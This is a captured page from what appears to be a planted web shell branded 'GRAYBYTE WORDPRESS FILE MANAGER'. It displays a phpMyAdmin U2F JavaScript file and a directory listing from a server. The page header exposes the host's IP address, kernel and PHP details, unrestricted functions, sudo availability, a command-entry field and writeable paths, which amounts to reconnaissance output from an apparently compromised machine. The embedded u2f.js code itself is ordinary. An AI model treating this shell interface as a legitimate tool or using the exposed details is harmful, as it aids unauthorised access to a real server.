GRAYBYTE WORDPRESS FILE MANAGER2448

Server IP : 3.104.188.249 / Your IP : 216.73.217.141
System : Linux ip-172-26-1-242 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
PHP Version : 8.3.31
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : ON | Pkexec : OFF
Directory : /usr/share/phpmyadmin/js/src/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/share/phpmyadmin/js/src//u2f.js
/* global u2f */ // js/vendor/u2f-api-polyfill.js

AJAX.registerOnload('u2f.js', function () {
    var $inputReg = $('#u2f_registration_response');
    if ($inputReg.length > 0) {
        var $formReg = $inputReg.parents('form');
        $formReg.find('input[type=submit]').hide();
        setTimeout(function () {
            // A magic JS function that talks to the USB device. This function will keep polling for the USB device until it finds one.
            var request = JSON.parse($inputReg.attr('data-request'));
            u2f.register(request.appId, [request], JSON.parse($inputReg.attr('data-signatures')), function (data) {
                // Handle returning error data
                if (data.errorCode && data.errorCode !== 0) {
                    switch (data.errorCode) {
                    case 5:
                        Functions.ajaxShowMessage(Messages.strU2FTimeout, false, 'error');
                        break;
                    case 4:
                        Functions.ajaxShowMessage(Messages.strU2FErrorRegister, false, 'error');
                        break;
                    case 3:
                        Functions.ajaxShowMessage(Messages.strU2FInvalidClient, false, 'error');
                        break;
                    case 2:
                        Functions.ajaxShowMessage(Messages.strU2FBadRequest, false, 'error');
                        break;
                    default:
                        Functions.ajaxShowMessage(Messages.strU2FUnknown, false, 'error');
                        break;
                    }
                    return;
                }

                // Fill and submit form.
                $inputReg.val(JSON.stringify(data));
                $formReg.trigger('submit');
            });
        }, 1000);
    }
    var $inputAuth = $('#u2f_authentication_response');
    if ($inputAuth.length > 0) {
        var $formAuth = $inputAuth.parents('form');
        $formAuth.find('input[type=submit]').hide();
        setTimeout(function () {
            // Magic JavaScript talking to your HID
            // appid, challenge, authenticateRequests
            var request = JSON.parse($inputAuth.attr('data-request'));
            u2f.sign(request[0].appId, request[0].challenge, request, function (data) {
                // Handle returning error data
                if (data.errorCode && data.errorCode !== 0) {
                    switch (data.errorCode) {
                    case 5:
                        Functions.ajaxShowMessage(Messages.strU2FTimeout, false, 'error');
                        break;
                    case 4:
                        Functions.ajaxShowMessage(Messages.strU2FErrorAuthenticate, false, 'error');
                        break;
                    case 3:
                        Functions.ajaxShowMessage(Messages.strU2FInvalidClient, false, 'error');
                        break;
                    case 2:
                        Functions.ajaxShowMessage(Messages.strU2FBadRequest, false, 'error');
                        break;
                    default:
                        Functions.ajaxShowMessage(Messages.strU2FUnknown, false, 'error');
                        break;
                    }
                    return;
                }

                // Fill and submit form.
                $inputAuth.val(JSON.stringify(data));
                $formAuth.trigger('submit');
            });
        }, 1000);
    }
});

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
May 27 2026 03:19:02
root / root
0755
codemirror
--
May 27 2026 03:19:01
root / root
0755
database
--
May 27 2026 03:19:02
root / root
0755
designer
--
May 27 2026 03:19:02
root / root
0755
jqplot
--
May 27 2026 03:19:01
root / root
0755
server
--
May 27 2026 03:19:02
root / root
0755
setup
--
May 27 2026 03:19:02
root / root
0755
table
--
May 27 2026 03:19:02
root / root
0755
transformations
--
May 27 2026 03:19:02
root / root
0755
ajax.js
33.956 KB
February 07 2023 21:35:11
root / root
0644
chart.js
18.289 KB
February 07 2023 21:35:11
root / root
0644
common.js
5.139 KB
February 07 2023 21:35:11
root / root
0644
config.js
25.604 KB
February 07 2023 21:35:11
root / root
0644
console.js
56.875 KB
February 07 2023 21:35:11
root / root
0644
cross_framing_protection.js
0.413 KB
February 07 2023 21:35:11
root / root
0644
doclinks.js
18.542 KB
February 07 2023 21:35:11
root / root
0644
drag_drop_import.js
14.276 KB
February 07 2023 21:35:11
root / root
0644
error_report.js
10.337 KB
February 07 2023 21:35:11
root / root
0644
export.js
34.371 KB
February 07 2023 21:35:11
root / root
0644
export_output.js
0.393 KB
February 07 2023 21:35:11
root / root
0644
functions.js
162.855 KB
February 07 2023 21:35:11
root / root
0644
gis_data_editor.js
14.37 KB
February 07 2023 21:35:11
root / root
0644
home.js
5.956 KB
February 07 2023 21:35:11
root / root
0644
import.js
6.021 KB
February 07 2023 21:35:11
root / root
0644
indexes.js
30.497 KB
February 07 2023 21:35:11
root / root
0644
jquery.sortable-table.js
11.024 KB
February 07 2023 21:35:11
root / root
0644
keyhandler.js
2.222 KB
February 07 2023 21:35:11
root / root
0644
makegrid.js
97.521 KB
February 07 2023 21:35:11
root / root
0644
menu_resizer.js
6.426 KB
February 07 2023 21:35:11
root / root
0644
multi_column_sort.js
1.341 KB
February 07 2023 21:35:11
root / root
0644
name-conflict-fixes.js
0.043 KB
February 07 2023 21:35:11
root / root
0644
navigation.js
58.817 KB
February 07 2023 21:35:11
root / root
0644
normalization.js
28.835 KB
February 07 2023 21:35:11
root / root
0644
ol.mjs
1.026 KB
February 07 2023 21:35:11
root / root
0644
page_settings.js
2.006 KB
February 07 2023 21:35:11
root / root
0644
replication.js
3.714 KB
February 07 2023 21:35:11
root / root
0644
shortcuts_handler.js
3.724 KB
February 07 2023 21:35:11
root / root
0644
sql.js
39.279 KB
February 07 2023 21:35:11
root / root
0644
u2f.js
3.394 KB
February 07 2023 21:35:11
root / root
0644
webauthn.js
4.344 KB
February 07 2023 21:35:11
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF